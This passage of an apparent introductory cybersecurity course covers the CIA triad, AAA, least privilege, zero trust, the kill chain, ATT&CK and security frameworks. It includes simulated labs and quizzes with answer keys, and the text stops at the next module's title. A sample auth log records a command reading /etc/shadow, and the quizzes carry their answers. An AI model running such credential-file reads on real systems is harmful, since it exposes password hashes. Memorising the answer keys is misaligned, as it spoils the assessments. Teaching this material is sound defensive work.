

Security Core

The core of cybersecurity: principles, threats, cryptography, access control, web and network security, and a first look at defense and offense.

15 modules

84 lessons

62 simulated labs

15 module checkpoints

Best for: Anyone who finished Pre-Security, or IT people new to security.

Needs: Pre-Security (or pass the placement quiz).

Contents

STAGE 1: CORE IDEAS

CORE-01	Principles and Frameworks	p. 3
CORE-02	The Threat Landscape	p. 22
CORE-03	Social Engineering and Phishing	p. 41
CORE-04	Cryptography Basics	p. 58
CORE-05	Authentication and Access Control	p. 83

STAGE 2: DEFENDING SYSTEMS

CORE-06	Network Security	p. 102
CORE-07	Web Application Security	p. 124
CORE-08	Endpoint and OS Security	p. 149
CORE-09	Vulnerability Management	p. 166
CORE-10	Defensive Security Intro	p. 183

STAGE 3: OFFENSE, PRIVACY AND WRAP-UP

CORE-11	Offensive Security Intro	p. 205
CORE-12	Privacy and Compliance	p. 227
CORE-13	Cloud Security Basics	p. 241
CORE-14	Careers and Next Steps	p. 258
CORE-15	Capstone Review	p. 269

Principles and Frameworks

Beginner | 6 lessons | 4 simulated labs | checkpoint | about 4h

This module builds the vocabulary used everywhere else in security. You will learn the CIA triad, AAA and non-repudiation, defense in depth, least privilege and zero trust, then two ways of describing attacks (the kill chain and MITRE ATT&CK) and three frameworks organizations use to structure programs: NIST CSF, ISO 27001 and CIS Controls. These ideas let you classify any incident, choose sensible controls and speak the same language as auditors and analysts.

BY THE END YOU CAN

- + Classify controls and scenarios by CIA triad property
- + Map an attack to kill chain stages and ATT&CK tactics
- + Compare NIST CSF, ISO 27001 and CIS Controls by purpose

IN THIS MODULE

Lesson 1 CIA triad and its failure modes

Lesson 2 AAA and non-repudiation

Lesson 3 Defense in depth and least privilege

Lesson 4 Zero trust fundamentals

Lesson 5 Kill chain and MITRE ATT&CK

Lesson 6 NIST CSF, ISO 27001 and CIS Controls

Lab 1 Tag scenarios by CIA property (Scenario)

Lab 2 Map an intrusion to ATT&CK (Diagram builder)

Lab 3 Match controls to NIST CSF functions (Scenario)

Lab 4 Review an access log for AAA gaps (Log viewer)

Checkpoint 10 questions, 80% to pass

CIA triad and its failure modes

Every security control exists to protect at least one of three properties, so the triad is the vocabulary you use to describe any incident.

Confidentiality

Confidentiality means only authorized parties can read information. It fails when data is disclosed: a misconfigured storage bucket exposes customer records, an attacker sniffs unencrypted traffic, or an employee emails a spreadsheet to the wrong person. Typical controls are encryption at rest and in transit, access control lists, data classification and need-to-know policies.

Confidentiality is not only about attackers. Shoulder surfing, discarded printouts and verbose error messages that reveal file paths are all disclosure failures. Because a leaked secret cannot be un-leaked, confidentiality controls lean heavily on prevention rather than recovery.

Integrity

Integrity means data and systems are accurate and changed only in authorized ways. It fails when a record is altered: an attacker modifies a payroll amount, malware patches a binary, or a man in the middle rewrites a download. Controls include hashing and checksums, digital signatures, file integrity monitoring, input validation, version control and change management.

Integrity covers both data and system integrity. A tampered configuration file is an integrity failure even if nobody reads it. Detection is a core theme: you often cannot stop every change, but you can notice that a hash no longer matches the known good value.

Availability

Availability means systems and data are usable when needed. It fails through denial of service floods, ransomware that encrypts files, hardware failure, power loss or a mistaken configuration change. Controls include redundancy, load balancing, backups tested by restore, DDoS mitigation, patching and capacity planning, plus disaster recovery plans with defined recovery time objectives.

Notice that ransomware is mostly an availability attack, though double extortion adds a confidentiality failure. Real incidents rarely touch just one property, so analysts name every property affected. Controls also trade off: heavy encryption and strict access can reduce availability if keys are lost.

Beyond the triad

Some models add authenticity, accountability and privacy, and the Parkerian hexad adds possession, utility and authenticity. For study purposes the three core properties are enough, but notice that they interact. Making data available to everyone helps availability and destroys confidentiality; locking everything down does the opposite. Risk assessment decides the right balance for each asset, which is why classification (public, internal, confidential, restricted) comes first. When you read an incident report, ask which property the business cares about most for that asset: a hospital scheduling system prioritizes availability, a legal archive prioritizes confidentiality, and a financial ledger prioritizes integrity.

TRIAD MAPPING

```
Incident Property Control
S3 bucket public read C Block public access
Payroll value changed in DB I Audit log + hashes
Web server flooded with SYNs A Rate limit / CDN
Laptop stolen, disk unlocked C Full-disk encryption
```

WORKED EXAMPLE

A hospital finds that an attacker encrypted its patient scheduling server and copied 40,000 records first. Analysts tag availability (system unusable) and confidentiality (records copied). Integrity is unproven until files are checked against known hashes. Controls follow: offline tested backups for availability, encryption and egress monitoring for confidentiality, and file integrity monitoring so any silent change is noticed. Naming the violated properties first makes the response plan obvious and gives leadership a clear impact statement.

KEY TERMS

Confidentiality: Preventing unauthorized disclosure of information.

Integrity: Assurance that data and systems are accurate and only changed by authorized actions.

Availability: Timely, reliable access to systems and data for authorized users.

Hashing: Producing a fixed-size fingerprint of data used to detect change.

DoS: An attack that exhausts resources to make a service unavailable.

REMEMBER

- Confidentiality, integrity and availability describe what is being protected.
- Each property has typical attacks and matching controls.
- Real incidents usually affect more than one property.

QUICK CHECK

1. An attacker modifies invoice amounts in a database. Which property is violated?
 - A) Integrity
 - B) Availability
 - C) Authentication
 - D) Confidentiality
2. Which control best supports availability?
 - A) Digital signatures
 - B) Data classification labels
 - C) Full-disk encryption
 - D) Tested offsite backups
3. A laptop with an unencrypted disk is stolen. The primary failure is of:
 - A) Non-repudiation
 - B) Confidentiality
 - C) Integrity
 - D) Availability
4. Why do analysts often name more than one CIA property per incident?
 - A) It reduces cost
 - B) Standards require exactly three
 - C) Attacks often affect several properties at once
 - D) Only availability matters

Answers: 1-A 2-D 3-B 4-C

1. Unauthorized modification is an integrity failure.
2. Backups that are tested by restore let you recover from loss or ransomware.
3. Readable data in unauthorized hands is disclosure.
4. Ransomware with data theft hits both availability and confidentiality.

AAA and non-repudiation

Knowing who did what, and being able to prove it, underpins access control, auditing and legal accountability.

Authentication, authorization, accounting

Authentication proves identity: something you know (password), have (hardware token, authenticator app) or are (fingerprint). Authorization decides what the proven identity may do, for example read but not delete a share. Accounting records what happened: logins, commands, file access and changes, with timestamps and user IDs. The order matters: authenticate first, authorize second, account throughout.

Protocols such as RADIUS and TACACS+ centralize AAA for network devices. TACACS+ separates the three functions and encrypts the whole payload, which is why it is common for administrator access to routers, while RADIUS is common for network access such as Wi-Fi and VPN.

Common AAA failures

Authentication fails with weak or reused passwords and missing MFA. Authorization fails when users hold more rights than their job needs, or when an application checks login but not permission, letting user A open user B's record by changing an ID in the URL. Accounting fails when logs are not collected, are overwritten after a day, or share an account such as admin so actions cannot be tied to a person.

Shared accounts are particularly damaging because they break attribution. Good practice is unique IDs, centralized log storage, synchronized clocks through NTP and log retention that matches policy and regulation.

Non-repudiation

Non-repudiation means a party cannot credibly deny an action. A digital signature made with a private key that only the signer controls proves origin and integrity of a message, because verification with the public key succeeds only for the matching key and unmodified content. Audit logs support non-repudiation when they are tamper-resistant, time-stamped and tied to unique identities.

A plain hash or a shared secret does not provide it, because either party could have created the value. Only asymmetric signatures, trusted timestamps and protected logs approach legal proof.

Multi-factor and accounting in practice

Multi-factor authentication combines at least two different factor types, so a password plus a security question is still one factor. Strong options are FIDO2 security keys and authenticator apps; SMS codes are weaker because of SIM swapping. On the accounting side, useful records answer who, what, when, where and from which system. Windows Security events such as 4624 (successful logon) and 4625 (failed logon) and Linux files like /var/log/auth.log are everyday sources. Retention must be long enough to investigate slow intrusions, and logs should be shipped off the host quickly because attackers often try to clear local logs to hide their actions.

AUTH LOG EXCERPT

```
2025-03-02T09:14:07Z sshd[811]: Accepted publickey for alice from 192.0.2.44
2025-03-02T09:14:31Z sudo: alice : COMMAND=/usr/bin/cat /etc/shadow
2025-03-02T09:15:02Z sshd[811]: session closed for alice
```

WORKED EXAMPLE

A finance app logs 'admin deleted vendor record 8812' but five staff share the admin password. When the record vanishes, nobody can be held accountable. The fix: give each person a unique account, require MFA, forward logs to a central server with write-once storage, and sign critical approvals. Now the log reads 'bob approved at 14:02 from 198.51.100.7 with token ending 4F', and Bob cannot plausibly deny the action.

KEY TERMS

Authentication: Verifying that a claimed identity is genuine.

Authorization: Granting or denying specific permissions to an authenticated identity.

Accounting: Recording user activity for audit and investigation.

Non-repudiation: Preventing a party from credibly denying an action they performed.

TACACS+: A protocol for centralized AAA, commonly used for device administration.

REMEMBER

- AAA = prove identity, grant rights, record actions.
- Unique accounts and protected logs enable accountability.
- Signatures, not hashes or shared secrets, give non-repudiation.

QUICK CHECK

1. Which step proves who you are?
 - A) Authorization
 - B) Accounting
 - C) Authentication
 - D) Auditing policy
2. What makes shared admin accounts a problem?
 - A) They break attribution
 - B) They cannot use MFA ever
 - C) They disable logging
 - D) They are slower
3. Which mechanism best provides non-repudiation?
 - A) Digital signature
 - B) Port knocking
 - C) Symmetric shared key
 - D) Plain SHA-256 hash
4. User A changes an ID in a URL and sees user B's data. Which AAA element failed?
 - A) Encryption
 - B) Availability
 - C) Authorization
 - D) Authentication

Answers: 1-C 2-A 3-A 4-C

1. Authentication verifies identity.
2. Actions cannot be tied to one person.
3. Only the private key holder can produce the signature.
4. The app did not check that A may access B's record.

Defense in depth and least privilege

No single control is perfect, so layered and minimal-rights designs limit how far one failure can go.

Layers and control types

Defense in depth stacks independent controls so an attacker must defeat several. Layers include policy and awareness, physical security, perimeter firewalls, network segmentation, host hardening and endpoint protection, application security, and data protection such as encryption. If phishing gets past the mail filter, endpoint detection, MFA and segmentation still stand in the way.

Controls are also classed by function. Preventive controls stop an event (firewall rule, lock). Detective controls notice it (IDS, log monitoring, cameras). Corrective controls repair afterward (restore from backup, patch). Others you will meet are deterrent, compensating and directive controls such as policy. A balanced program has all three main types, not only prevention.

Least privilege

Least privilege gives each user, process and service only the access required for its task and no more, for only as long as needed. Practical forms: standard accounts for daily work with separate admin accounts, sudo rules scoped to specific commands, database accounts with only SELECT on needed tables, and just-in-time elevation that expires.

Excess privilege turns small compromises into large ones. If a web server runs as root, a bug in it gives the attacker the whole host; if it runs as a restricted user, the damage is contained. Regular access reviews remove privilege creep, the slow accumulation of rights as people change roles.

Separation of duties

Separation of duties splits a sensitive task so no single person can complete it alone, for example one person requests a payment and another approves it, or developers write code but a different role deploys to production. It reduces fraud and error because abuse requires collusion.

Related ideas are job rotation, mandatory vacation (which can reveal hidden fraud) and dual control, where two people must act together such as two key custodians. These human-process controls complement technical ones and are frequently tested in certification exams.

Compensating and deterrent controls

Not every control fits every situation. A compensating control substitutes when the preferred control is impractical, for example network isolation and enhanced monitoring for an old medical device that cannot be patched. A deterrent control discourages action without physically stopping it, such as warning banners or visible cameras. Directive controls are policies and procedures. Auditors look for evidence that each risk has at least one preventive and one detective control, plus a corrective path. When you design layers, make sure they are truly independent: two firewalls managed with the same password are one layer in practice, because one stolen credential defeats both.

SUDOERS RULE (LEAST PRIVILEGE)

```
# /etc/sudoers.d/webops
webops ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx
# no shell, no other commands allowed
```

WORKED EXAMPLE

A small company lets one accountant create vendors, approve invoices and release payments. An insider adds a fake vendor and pays it. Applying separation of duties (creator, approver, payer are different people), least privilege (each role sees only its screens) and detective controls (weekly report of new vendors paid over a threshold) makes the fraud harder and quicker to notice. A corrective control, such as clawback procedures, limits loss when it still happens.

KEY TERMS

Defense in depth: Using multiple independent layers of controls so one failure does not cause compromise.

Preventive control: A control that blocks an unwanted event.

Detective control: A control that identifies an event after or while it occurs.

Least privilege: Granting only the minimum access needed for a task.

Separation of duties: Dividing a critical task among people so none can complete it alone.

REMEMBER

- Layer preventive, detective and corrective controls.
- Grant minimum rights for minimum time.
- Split critical tasks so collusion is required.

QUICK CHECK

1. An IDS alert is which control type?
 - A) Deterrent only
 - B) Preventive
 - C) Detective
 - D) Corrective
2. A web service runs as an unprivileged user. This applies:
 - A) Least privilege
 - B) Non-repudiation
 - C) Salting
 - D) Federation
3. Requiring one person to request and another to approve payments is:
 - A) Separation of duties
 - B) Privilege creep
 - C) Defense in width
 - D) Job rotation
4. Why layer controls?
 - A) Any single control can fail
 - B) Regulators ban single controls
 - C) Layers remove need for logs
 - D) Cheaper than one control

Answers: 1-C 2-A 3-A 4-A

1. It identifies activity rather than blocking it.
2. The process has only the rights it needs.
3. Two roles must act, preventing single-person fraud.
4. Layers keep protection when one control fails.

Zero trust fundamentals

Perimeter-only security fails once users, apps and data live outside the office network, so access decisions must be made per request.

Never trust, always verify

Zero trust drops the assumption that anything inside the network is safe. NIST SP 800-207 defines it as a set of principles that move defenses from network perimeters to focus on users, assets and resources. Every access request is authenticated and authorized using identity, device health, location and other context, regardless of network location.

It is an architecture and strategy, not a single product. Core tenets include treating all data sources and services as resources, securing all communication, granting access per session, using dynamic policy, monitoring device posture and continuously collecting telemetry to improve decisions.

Policy engine and enforcement point

The 800-207 logical model separates a control plane and a data plane. The Policy Decision Point is made of a Policy Engine that decides to grant or deny, and a Policy Administrator that tells the enforcement point to open or close the path. The Policy Enforcement Point sits in front of the resource and permits or terminates connections.

Inputs to the engine include identity provider data, device compliance from endpoint management, threat intelligence and activity logs. A subject on 198.51.100.20 with an unpatched laptop may be denied or given read-only access even with a valid password.

Microsegmentation and adoption

Microsegmentation divides the network into small zones, often per workload, with explicit allow rules between them. A compromised print server then cannot reach the database tier because no policy permits it. This limits lateral movement, a favorite attacker technique after initial access.

Adoption is gradual: inventory identities and assets, enforce strong MFA, map data flows, apply least privilege, then segment and monitor. Common pitfalls are buying a product labeled zero trust without changing policy and ignoring legacy systems that cannot support modern authentication.

Identity, devices and common misunderstandings

Identity becomes the new perimeter, so strong authentication, conditional access and privileged access management carry much of the load. Device trust relies on inventory, patch level, disk encryption and endpoint detection signals. Network location is no longer sufficient, yet networks still matter: segmentation, encrypted traffic (TLS everywhere) and DNS controls remain essential. A common misunderstanding is that zero trust means trusting nobody at all or replacing firewalls. In reality it means no implicit trust: access is explicitly granted, as narrowly as possible, and re-evaluated continuously. Another is treating it as a one-time project; it is a long journey measured by shrinking implicit trust zones.

ACCESS DECISION (ILLUSTRATIVE)

```
request: user=carol device=laptop-17 res=hr-db
idp: MFA=passed device: patched=false
policy: hr-db requires patched=true
decision: DENY (remediate device)
```

WORKED EXAMPLE

An employee on a coffee shop network opens the finance portal. Under a perimeter model, a VPN login might grant broad internal access. Under zero trust, the Policy Engine checks MFA, device compliance and risk, then the Policy Enforcement Point grants access to only the finance portal for that session. If the laptop later shows malware, telemetry triggers a policy change and the session ends, while other segments remain unreachable.

KEY TERMS

Zero trust: A security model that requires verification of every request regardless of network location.

Policy Decision Point: The component (engine plus administrator) that decides and authorizes access.

Policy Enforcement Point: The component that enables, monitors and terminates connections to a resource.

Microsegmentation: Fine-grained network zoning that restricts lateral movement.

Lateral movement: Attacker movement from one compromised system to others.

REMEMBER

- Verify every request using identity, device and context.
- PDP decides, PEP enforces.
- Microsegmentation contains lateral movement.

QUICK CHECK

1. Which document defines zero trust architecture?
 - A) RFC 791
 - B) PCI DSS
 - C) NIST SP 800-207
 - D) ISO 9001
2. The core idea of zero trust is:
 - A) Use only VPNs
 - B) Trust internal IPs
 - C) Never trust, always verify
 - D) Block all traffic
3. Microsegmentation mainly reduces:
 - A) Disk usage
 - B) Lateral movement
 - C) Password length
 - D) DNS latency
4. Which component actually permits or terminates the connection?
 - A) Policy Enforcement Point
 - B) Identity provider logo
 - C) Policy log archive
 - D) Syslog server

Answers: 1-C 2-C 3-B 4-A

1. NIST SP 800-207 is the Zero Trust Architecture publication.
2. Every request is verified regardless of location.
3. Explicit allow rules stop movement between segments.
4. The PEP enforces the decision at the resource.

Kill chain and MITRE ATT&CK

Mapping activity to a common model lets defenders find where to break an intrusion and communicate precisely.

Lockheed Martin Cyber Kill Chain

The kill chain describes seven stages of an intrusion: reconnaissance (research the target), weaponization (pair an exploit with a payload), delivery (email, web, USB), exploitation (trigger the vulnerability), installation (establish persistence), command and control (remote channel to the attacker), and actions on objectives (theft, destruction, encryption).

Its value is defensive: breaking any link stops the chain. Email filtering disrupts delivery, patching disrupts exploitation, application allow-listing disrupts installation, egress filtering and DNS monitoring disrupt command and control. Its limits are a linear, perimeter-era view that fits insider threats and cloud abuse poorly.

MITRE ATT&CK

ATT&CK is a knowledge base of real adversary behavior organized as tactics (the why, such as Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact) and techniques (the how). Techniques have IDs, for example T1566 Phishing and T1059 Command and Scripting Interpreter, with sub-techniques like T1566.001 Spearphishing Attachment.

Matrices exist for Enterprise, Mobile and ICS. Each technique lists data sources for detection, mitigations and known groups that use it, which makes it practical for detection engineering and gap analysis.

Using the models together

Use the kill chain for a simple narrative and ATT&CK for detail. A phishing email with a macro document maps to Delivery and ATT&CK T1566.001; the macro launching PowerShell is Execution via T1059.001; a scheduled task for persistence is T1053.005; beaconing over HTTPS is T1071.001.

Analysts record these mappings in reports and threat intelligence so teams can ask: which techniques do our logs actually detect? A heat map of covered techniques shows blind spots to prioritize.

Courses of action and common pitfalls

Lockheed Martin pairs each stage with defender actions: detect, deny, disrupt, degrade, deceive and destroy. For example, a honeypot can deceive at the C2 stage, and a proxy block can deny. Using ATT&CK well means mapping detections rather than collecting technique counts. One log source may cover many techniques poorly, while a single well-tuned rule may cover one technique well, so quality matters more than the number of colored cells. Remember also that ATT&CK describes observed behavior, not a checklist every attacker follows; real intrusions skip, repeat and reorder tactics, and the Unified Kill Chain extends the model to include pivoting inside a network.

EVENT TO TECHNIQUE

```
Event Tactic Technique
Doc macro spawns powershell Execution T1059.001
New scheduled task on host Persistence T1053.005
HTTPS beacon every 60 s C2 T1071.001
```

WORKED EXAMPLE

Logs show a user opened invoice.docm, powershell.exe ran an encoded command, and 10 minutes later host 10.0.0.15 contacts 203.0.113.9 every 60 seconds. Kill chain: delivery, exploitation or execution, installation, then C2. ATT&CK: T1566.001, T1059.001, T1071.001. A defender chooses controls such as blocking macros from the internet, script block logging and egress monitoring, each aimed at a specific mapped step and each testable later.

KEY TERMS

Kill chain: A seven-stage model of an intrusion from reconnaissance to actions on objectives.

Tactic: The adversary goal in ATT&CK, the why.

Technique: How a tactic is achieved, identified by a T-number.

Persistence: Methods to keep access across reboots or credential changes.

Command and control: The channel an attacker uses to remotely direct compromised systems.

REMEMBER

- Seven stages: recon to actions on objectives.
- ATT&CK catalogs tactics, techniques and sub-techniques.
- Map events to find detection gaps and where to break the chain.

QUICK CHECK

1. How many stages are in the Lockheed Martin kill chain?
 - A) 7
 - B) 9
 - C) 14
 - D) 5
2. T1566 in ATT&CK is:
 - A) Kerberoasting
 - B) DLL injection
 - C) Phishing
 - D) Port scanning
3. In ATT&CK, a tactic is:
 - A) A CVE
 - B) The tool used
 - C) The adversary goal
 - D) A malware family
4. Egress filtering most directly disrupts which kill chain stage?
 - A) Delivery
 - B) Reconnaissance
 - C) Command and control
 - D) Weaponization

Answers: 1-A 2-C 3-C 4-C

1. It has seven stages.
2. T1566 is Phishing.
3. Tactics are the why; techniques are the how.
4. It blocks outbound attacker channels.

NIST CSF, ISO 27001 and CIS Controls

Frameworks give organizations a shared structure for building and proving a security program.

NIST Cybersecurity Framework

The NIST CSF is voluntary guidance organized by functions. Version 1.1 has five: Identify, Protect, Detect, Respond, Recover. CSF 2.0 (2024) adds Govern as a sixth function covering strategy, roles, risk management and policy. Each function breaks into categories and subcategories, and organizations describe a Current Profile and a Target Profile to plan gap closure.

Implementation tiers describe rigor, from Partial to Adaptive. The CSF is outcome-based and technology neutral, which makes it good for communicating with executives and mapping to other standards.

ISO/IEC 27001

ISO/IEC 27001 specifies requirements for an Information Security Management System (ISMS), a management process that uses risk assessment, a Statement of Applicability and continual improvement (plan, do, check, act). Organizations can be certified by an accredited auditor, unlike the CSF which has no certification.

Annex A lists reference controls. The 2022 edition has 93 controls in four themes: organizational, people, physical and technological. Companion standard ISO/IEC 27002 gives implementation guidance. Leadership commitment, scope definition and internal audits are mandatory clauses.

CIS Critical Security Controls

The CIS Controls are a prioritized set of practical actions. Version 8 has 18 controls, such as inventory of enterprise assets, inventory of software, data protection, secure configuration, account management and access control, continuous vulnerability management, audit log management, malware defenses and incident response.

Safeguards are grouped into Implementation Groups. IG1 is essential cyber hygiene for small organizations with limited expertise; IG2 adds safeguards for organizations with dedicated IT staff; IG3 targets mature organizations facing targeted attacks. Start with IG1, then grow.

Choosing and combining frameworks

Compliance is not the same as security. A framework helps you choose and organize controls, but evidence of real operation matters more than documents. Mappings exist between all three: a CIS safeguard such as multi-factor authentication corresponds to a CSF Protect subcategory and to an ISO 27001 Annex A access control. Related regulations and standards include PCI DSS for card data, HIPAA for health information in the United States and GDPR for personal data in the EU; they require outcomes that frameworks help deliver. Pick one as your backbone, map the others to it, and review the program at least annually or after major change.

FRAMEWORK COMPARISON

Framework Purpose	Certifiable
NIST CSF Outcomes	risk language No
ISO 27001 ISMS management system	Yes
CIS v8 Prioritized safeguards	No

WORKED EXAMPLE

A 40-person company with one IT admin wants a plan. They adopt CIS IG1 safeguards as a to-do list (asset inventory, MFA, backups), use the NIST CSF to report progress to the board by function, and consider ISO 27001 later because a large customer demands a certificate. Each framework fills a different need: tactical checklist, communication structure, formal assurance. They complement rather than compete.

KEY TERMS

- NIST CSF:** A voluntary framework of security outcomes grouped into functions.
- ISMS:** A systematic management approach to information security under ISO 27001.
- Annex A:** The ISO 27001 reference list of security controls.
- Implementation Group:** A CIS tier (IG1-IG3) scoping safeguards to organization maturity.

Statement of Applicability: ISO 27001 document listing chosen controls and justification.

REMEMBER

- CSF gives outcomes, ISO 27001 a certifiable ISMS, CIS prioritized actions.
- CSF functions: Govern, Identify, Protect, Detect, Respond, Recover.
- IG1 to IG3 scale safeguards by maturity.

QUICK CHECK

1. Which framework can an organization be certified against?
 - A) NIST CSF
 - B) CIS Controls
 - C) ISO/IEC 27001
 - D) MITRE ATT&CK
2. Which function did CSF 2.0 add?
 - A) Isolate
 - B) Audit
 - C) Patch
 - D) Govern
3. Which CIS group suits small organizations with limited expertise?
 - A) IG4
 - B) Tier 4
 - C) IG1
 - D) IG3
4. Which CSF function covers backups and restoring operations?
 - A) Recover
 - B) Protect
 - C) Identify
 - D) Detect

Answers: 1-C 2-D 3-C 4-A

1. ISO 27001 supports accredited certification.
2. Govern was added in version 2.0.
3. IG1 is essential cyber hygiene.
4. Recover restores capabilities after an incident.

Tag scenarios by CIA property

SCENARIO

You are a junior analyst at Example Corp reviewing eight incident snippets from the weekly ticket queue. Each ticket describes what happened but not the classification. Your manager wants each tagged by the violated CIA property and a fitting control for the lessons-learned report. The queue is displayed in a ticket viewer with a property selector and a control dropdown for each ticket. A score is shown after submission, and an incorrect answer shows a short explanation so you can revisit it.

OBJECTIVE

Classify eight incidents by CIA property and choose a matching control for each.

STEPS IN THE SIMULATOR

- 1 **Do:** Open ticket 1: public storage bucket lists customer files

Simulator shows:

Tag options shown: C, I, A. Hint: data readable by anyone.

- 2 **Do:** Tag ticket 1 as Confidentiality

Simulator shows:

Correct. Suggested control list appears: block public access, access review.

- 3 **Do:** Open ticket 2: invoice totals changed in the database

Simulator shows:

Log shows UPDATE by unknown account at 02:11.

- 4 **Do:** Tag ticket 2 as Integrity, choose control 'audit logging and hashes'

Simulator shows:

Correct. Control matches property.

- 5 **Do:** Open ticket 3: web server unreachable under SYN flood from many IPs

Simulator shows:

Traffic graph spikes to 900k packets per second.

- 6 **Do:** Tag ticket 3 as Availability, choose 'rate limiting and DDoS service'

Simulator shows:

Correct.

- 7 **Do:** Open ticket 4: ransomware note on file server with 30 GB uploaded to 203.0.113.50

Simulator shows:

Two properties may apply.

- 8 **Do:** Tag ticket 4 as Availability and Confidentiality

Simulator shows:

Correct. Remaining tickets 5-8 follow the same pattern; score 8/8.

ANSWER

Public bucket: confidentiality (block public access). Altered invoices: integrity (audit logs, hashing). SYN flood: availability (rate limiting, DDoS service). Ransomware with exfiltration: availability and confidentiality (tested backups, egress monitoring and encryption).

Hint shown in the app: Ask what happened to the data: read, changed, or made unusable.

Map an intrusion to ATT&CK

SCENARIO

A sandbox host in the example.com lab network was compromised. You have six observed events in a tray and a blank kill chain diagram. Place each event on a stage and attach the matching ATT&CK technique ID. The goal is a report-ready diagram for the SOC lead. The diagram has seven stage lanes. Each placement is checked immediately and wrong placements bounce back with a short hint, so you can experiment safely.

OBJECTIVE

Place six events on kill chain stages and attach correct ATT&CK technique IDs.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag 'email with invoice.docm from 203.0.113.25' to Delivery

Simulator shows:
Snapped to Delivery. Tag prompt appears.

- 2 **Do:** Attach T1566.001

Simulator shows:
Accepted: Spearphishing Attachment.

- 3 **Do:** Drag 'macro starts powershell -enc ...' to Exploitation

Simulator shows:
Snapped; the sim notes execution of user-run content.

- 4 **Do:** Attach T1059.001

Simulator shows:
Accepted: PowerShell.

- 5 **Do:** Drag 'scheduled task Updater created' to Installation and attach T1053.005

Simulator shows:
Accepted: Scheduled Task.

- 6 **Do:** Drag 'HTTPS beacon to 203.0.113.25 every 60 s' to Command and Control and attach T1071.001

Simulator shows:
Accepted: Web Protocols.

- 7 **Do:** Drag 'zip of Documents uploaded' to Actions on Objectives and attach T1041

Simulator shows:
Accepted: Exfiltration Over C2 Channel.

- 8 **Do:** Submit diagram

Simulator shows:
Score 6/6. Suggested breakpoints: macro blocking, egress filtering.

ANSWER

Delivery T1566.001; Exploitation or execution T1059.001; Installation T1053.005; C2 T1071.001; Actions on objectives T1041. Breaking the chain early with attachment filtering or macro policy prevents the later stages and saves the response team effort.

Hint shown in the app: Technique IDs describe how; kill chain stage describes when.

Match controls to NIST CSF functions

SCENARIO

Example Retail has a security program on paper. You receive twelve controls and five CSF function bins. Sort each control and then compare the filled bins to spot gaps in the program. The CFO wants a one-line summary of the weakest function. The company is a small online shop with a part-time administrator, so some gaps are expected. Each bin shows a count and the analysis view compares it to a balanced sample program.

OBJECTIVE

Sort twelve controls into CSF functions and identify the weakest function.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag 'asset inventory' to Identify

Simulator shows:
Accepted.

- 2 **Do:** Drag 'MFA' and 'patch management' to Protect

Simulator shows:
Accepted both.

- 3 **Do:** Drag 'SIEM alerting' and 'IDS sensors' to Detect

Simulator shows:
Accepted both.

- 4 **Do:** Drag 'incident response plan' and 'communications playbook' to Respond

Simulator shows:
Accepted both.

- 5 **Do:** Drag 'tested backups' to Recover

Simulator shows:
Accepted.

- 6 **Do:** Drag 'risk assessment' and 'vendor inventory' to Identify, 'security training' to Protect

Simulator shows:
Accepted.

- 7 **Do:** Press Analyze gaps

Simulator shows:
Bin counts: Identify 3, Protect 4, Detect 2, Respond 2, Recover 1.

- 8 **Do:** Select weakest function

Simulator shows:
Prompt: Recover has one control, no restore testing evidence.

ANSWER

Recover is the weakest function: only tested backups exist, with no recovery plan or restore-time objectives. Recommend a disaster recovery plan, restore exercises and lessons-learned process. Detect is second weakest with only two controls.

Hint shown in the app: Count controls in each bin and look for the thinnest one.

Review an access log for AAA gaps

SCENARIO

You have an audit log extract from the Example Corp file portal. It mixes normal activity with AAA problems: requests with no authentication, a service account with excess rights, and missing records. Review it and list the findings for the audit team. The log viewer supports text filters and column sorting. All addresses are from documentation ranges and no real accounts are involved.

OBJECTIVE

Find unauthenticated requests, over-privileged accounts and missing accounting entries.

STEPS IN THE SIMULATOR

1 Do: Filter log for user='-'

Simulator shows:

3 entries: GET /reports/q3.xlsx from 198.51.100.77 returned 200.

2 Do: Flag as authentication failure

Simulator shows:

Finding recorded: authentication not enforced on /reports.

3 Do: Filter by role=admin

Simulator shows:

Account svc-backup holds admin and logged into interactive session.

4 Do: Flag as authorization issue

Simulator shows:

Finding recorded: service account over-privileged.

5 Do: Sort by time and look for gaps

Simulator shows:

No entries between 02:00 and 05:30 on 2025-03-02.

6 Do: Flag as accounting gap

Simulator shows:

Finding recorded: possible log loss or disabled logging.

7 Do: Check user 'admin' sources

Simulator shows:

Same account used from 192.0.2.10 and 192.0.2.88 within 2 minutes.

8 Do: Flag shared account and submit

Simulator shows:

Four findings submitted; report generated.

ANSWER

Findings: unauthenticated access to /reports (authentication), svc-backup holding admin rights (authorization, least privilege), a three-and-a-half hour log gap (accounting), and a shared admin account used from two sources (attribution). Fix with enforced login, scoped roles, central logging and unique IDs.

Hint shown in the app: Search for empty user fields, high-privilege service accounts and time gaps.

Principles and Frameworks: 10 questions, 80% to pass

1. Which property does full-disk encryption primarily protect?

- A) Authorization
- B) Confidentiality
- C) Availability
- D) Accounting

2. Authorization answers which question?

- A) Who are you?
- B) What may you do?
- C) What did you do?
- D) Where are you?

3. A digital signature provides all EXCEPT:

- A) Authenticity
- B) Non-repudiation
- C) Confidentiality of the message
- D) Integrity

4. Detective controls include:

- A) Log monitoring
- B) Door lock
- C) Restore from backup
- D) Firewall deny rule

5. Zero trust enforcement happens at the:

- A) Backup server
- B) Domain registrar
- C) Policy Enforcement Point
- D) Spreadsheet

6. Which kill chain stage comes immediately after delivery?

- A) Weaponization
- B) Exploitation
- C) Reconnaissance
- D) Actions on objectives

7. ATT&CK technique IDs begin with:

- A) T
- B) CVE
- C) CWE
- D) RFC

8. Which framework offers certification?

- A) ISO/IEC 27001
- B) NIST CSF
- C) CIS Controls
- D) Cyber Kill Chain

9. CIS IG1 is aimed at:

- A) Only governments
- B) Cloud providers only
- C) Mature SOCs only
- D) Small organizations needing basic hygiene

10. Least privilege reduces risk by:

- A) Speeding networks
- B) Removing logs
- C) Limiting damage from a compromised account
- D) Encrypting disks

Answers: 1-B 2-B 3-C 4-A 5-C 6-B 7-A 8-A 9-D 10-C

1. It prevents reading data from a lost device.
2. Authorization grants rights to an authenticated identity.
3. Signing does not hide content.
4. Monitoring detects events.
5. The PEP applies decisions to connections.
6. Delivery is followed by exploitation.
7. Techniques use T numbers such as T1059.
8. Organizations are certified against ISO 27001.
9. IG1 is essential cyber hygiene.
10. Fewer rights means less impact.

The Threat Landscape

